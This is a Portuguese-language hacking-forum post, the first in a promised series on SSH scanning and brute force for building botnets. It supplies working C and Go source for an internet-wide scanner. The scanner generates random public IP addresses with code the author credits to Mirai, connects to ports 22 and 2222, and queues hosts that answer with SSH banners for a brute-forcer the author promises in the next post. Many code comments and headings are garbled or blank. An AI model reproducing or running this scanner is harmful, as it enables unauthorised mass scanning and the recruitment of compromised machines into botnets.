COVIL HACKER

, ! .


» COVIL HACKER » Malware » Artigo Varredura e força bruta SSH. #1


Artigo Varredura e força bruta SSH. #1

1 2 2

1

Tive a ideia de compartilhar minha experiência em varredura e força bruta via SSH. Existem muitos botnets na rede que são brutalmente bem-sucedidos e há poucos artigos. É hora de consertar isso.
No primeiro artigo explicarei o scanner em C e depois em Go.
Mas todas as atenções estarão em C, já que é o mais difícil lá.
Todas as fontes estão no pastebin:

https://pastebin.com/7D0B7w3K

/* mirai, 4 , IP uint32_t */
#define INET_ADDR(o1, o2, o3, o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))

#define SIZE_PORTS 2          //- .
#define BUFFER_SIZE 4096   
#define TIMEOUT_SCAN 20

struct cock
{
    /* */
    int fd, iport, status;
    struct sockaddr_in addr;
    time_t timec;
};
enum myconnections
{
    mCreated = 0,
    mConnecting = 1,
    mGrabingBanner = 2
};
int SIZE_QUEUE = 16384;                  //-
uint16_t PORTS[SIZE_PORTS] = {22, 2222}; //
struct cock* scs;

cock.fd - socket,
cock.iport - índice de porta ativa em PORTS, cock.timec - para tempo limite

void ext(const char *err) //DEBUG : delete this shiit
{
    printf("FATAL: %s\n", err);
    exit(0);
}
uint32_t rip_me()      // mirai
{
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;
    do
    {
        tmp = rand();
        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;       
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    } while (o1 == 127 ||                               // 127.0.0.0/8      - Loopback
             (o1 == 0) ||                               // 0.0.0.0/8        - Invalid address space
             (o1 == 3) ||                               // 3.0.0.0/8        - General Electric Company
             (o1 == 15 || o1 == 16) ||                  // 15.0.0.0/7       - Hewlett-Packard Company
             (o1 == 56) ||                              // 56.0.0.0/8       - US Postal Service
             (o1 == 10) ||                              // 10.0.0.0/8       - Internal network
             (o1 == 192 && o2 == 168) ||                // 192.168.0.0/16   - Internal network
             (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
             (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
             (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
             (o1 == 198 && o2 >= 18 && o2 < 20) ||    // 198.18.0.0/15    - IANA Special use
             (o1 >= 224) ||                           // 224.*.*.*+       - Multicast
             (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22
             || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 49
             || o1 == 50 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );
    return INET_ADDR(o1, o2, o3, o4);
}

rip_me() fornece um endereço ipv4 aleatório. Tirei do mirai, é conveniente pegar um ip aleatório da rede e escanear, principalmente para botnets

// cock IP
void cock_init(uint32_t ip, struct cock *dt)
{
    if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      ext("socket");
    fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0)); // non-blocking
    dt->iport = 0;                                                  // PORTS[0]
    dt->addr.sin_addr.s_addr = ip;
    dt->addr.sin_port = PORTS[0];
    dt->addr.sin_family = AF_INET;
    bzero(dt->addr.sin_zero, 8);
    dt->status = mCreated;
}
// cock
void recycle(struct cock *dt)
{
    if (++dt->iport >= SIZE_PORTS)
      return cock_init(rip_me(), dt);
    dt->addr.sin_port = PORTS[dt->iport];        //
    if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      ext("socket");
    fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0)); // non-blocking
    dt->status = mCreated;
}
void scan_init()
{
    expandLimitFD();
    for (int i = 0; i < SIZE_PORTS; i++)
        PORTS[i] = htons(PORTS[i]);                                //
    scs = (struct cock *)malloc(sizeof(struct cock) * SIZE_QUEUE);
    for (int ind = 0; ind < SIZE_QUEUE; ind++)
        cock_init(rip_me(), scs + ind);                          //
}
void addToQUEUE(struct sockaddr_in*addr){
    // SSH
    //
}

// - , )
void expandLimitFD()
{
    struct rlimit rl;
    getrlimit(RLIMIT_NOFILE, &rl);

    rlim_t myLimit =SIZE_QUEUE + 128; // + SIZE_QUEUE_SSH
    if (rl.rlim_cur >= myLimit)
        return;
    rl.rlim_cur = myLimit;
    if (rl.rlim_max <= myLimit)
    {
        rl.rlim_max = rl.rlim_cur + 5;
        if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
            ext("COULDn't expand FD.\n Make my code BETTER!!!\n");
    }
    else
        setrlimit(RLIMIT_NOFILE, &rl);
}

Tudo isso é código auxiliar e agora o núcleo do próprio scanner. Aliás, é assíncrono, quem não atrapalha, é quando você faz todas as conexões sem bloqueio.
Decidi não usar select ou poll, embora isso fosse melhor. Por exemplo, alguns sistemas, quando compilados estaticamente, produzirão algo estranho às vezes

void *scan_loop(void *Pargs)
{
    int cnr, err = 0;
    struct cock *dt;
    buffer = (char *)malloc(BUFFER_SIZE + 1);
    const char *hi = "pm\0";
    for (int x = 0;; x++){
        if (x >= SIZE_QUEUE){
            x = 0;
        }

        usleep(10);
        dt = &(scs[x]);

        if (dt->status != mGrabingBanner)
            cnr = connect(dt->fd, (struct sockaddr *)&(dt->addr), sizeof(struct sockaddr_in));
        if(dt->status == mCreated){
            dt->status = mConnecting;
            dt->timec = time(NULL);
        }else if(dt->status == mConnecting){
            err = errno;
            if ((cnr == -1 && err == EISCONN) || cnr == 0)//CONNECTED!!
            {
                write(dt->fd, hi, 3);
                dt->timec = time(NULL);
                dt->status = mGrabingBanner;
            }
            else if(time(NULL) - dt->timec >= TIMEOUT_SCAN)
                goto new_ip;
            else if(cnr == -1 && err == 0)
                continue;
            else if (err == ECONNREFUSED || (cnr == -1 && err != EINPROGRESS && err != EALREADY) ) //
                goto new_ip;
        }else if(dt->status == mGrabingBanner){
            err = read(dt->fd, buffer, BUFFER_SIZE);
            if (err > 0)
            {
                buffer[err] = '\0';
                if (strstr(buffer, "SSH") != NULL) // ssh
                    addToQUEUE(&(dt->addr));
                goto new_ip;
            }
            else if (time(NULL) - dt->timec >= TIMEOUT_SCAN)
                goto new_ip;
        }
        continue;
    new_ip:
        close(dt->fd);
        recycle(dt);
    }
    return NULL;
}

O código é simples e esta é a sua vantagem. Se você quiser melhorar, definitivamente deveria usar algo como enquete no scan_loop, não na minha bicicleta.
E agora o código Golang. é ainda mais fácil

func checkSSH(target string, conn net.Conn) {
  conn.Write([]byte("pm"))
  bytebuf := make([]byte, 2048)
  l, err := conn.Read(bytebuf)
  if err != nil || l <= 0 {
    return
  }
  if strings.Contains(string(bytebuf), "SSH"){
    //
  }
}

func getRIP() string {

    for {

        var o1, o2, o3, o4 int

        o1 = rand.Intn(255)

        if o1 == 127 || o1 == 0 || o1 == 15 || o1 == 56 || o1 == 16 || o1 == 10 || o1 >= 224 || o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 49 || o1 == 50 || o1 == 55 || o1 == 214 || o1 == 215 {

            continue

        }

        o2 = rand.Intn(255)

        o3 = rand.Intn(255)

        o4 = rand.Intn(255)

        if (o1 == 192 && o2 == 168) || (o1 == 172 && o2 >= 16 && o2 < 32) || (o1 == 100 && o2 >= 64 && o2 < 127) || (o1 == 169 && o2 > 254) || (o1 == 198 && o2 >= 18 && o2 < 20) {

            continue

        }

        return strconv.Itoa(o1) + "." + strconv.Itoa(o2) + "." + strconv.Itoa(o3) + "." + strconv.Itoa(o4)

    }

}

func checkPorts(ports []string, ip string, isCanceled chan int) {

    rand.Seed(time.Now().UnixNano())

    var prt, target string

    for i := 0; i < len(ports); i += 1 {

        prt = ports[i]

        target = ip + ":" + prt

        conn, err := net.DialTimeout("tcp", ip+":"+prt, time.Second*10)

        if err != nil {

            continue

        }

        checkSSH(target, conn)

        conn.Close()

    }

    isCanceled <- 1

}

func myScanner(ports []string) {

    workers := make([]chan int, 16384)

    for w := range workers {

        workers[w] = make(chan int)

        go checkPorts(ports, getRIP(), workers[w])

    }

    for {

        for w := 0; w < len(workers); w += 1 {

            select {

            case state := <-workers[w]:

                go checkPorts(ports, getRIP(), workers[w])

                _ = state

            default:

            }

            time.Sleep(time.Millisecond * 10)

        }

    }

}

func main() {

    myScanner([]string{"22", "2222"})

}

Eu amo Golang por suas goroutines. Inferno, sim, esta é a principal característica do go. E o código sai menos e é mais fácil compilar para diferentes processadores.
No próximo artigo vou mostrar e explicar o SSH bruteforcer.

0

2


» COVIL HACKER » Malware » Artigo Varredura e força bruta SSH. #1


|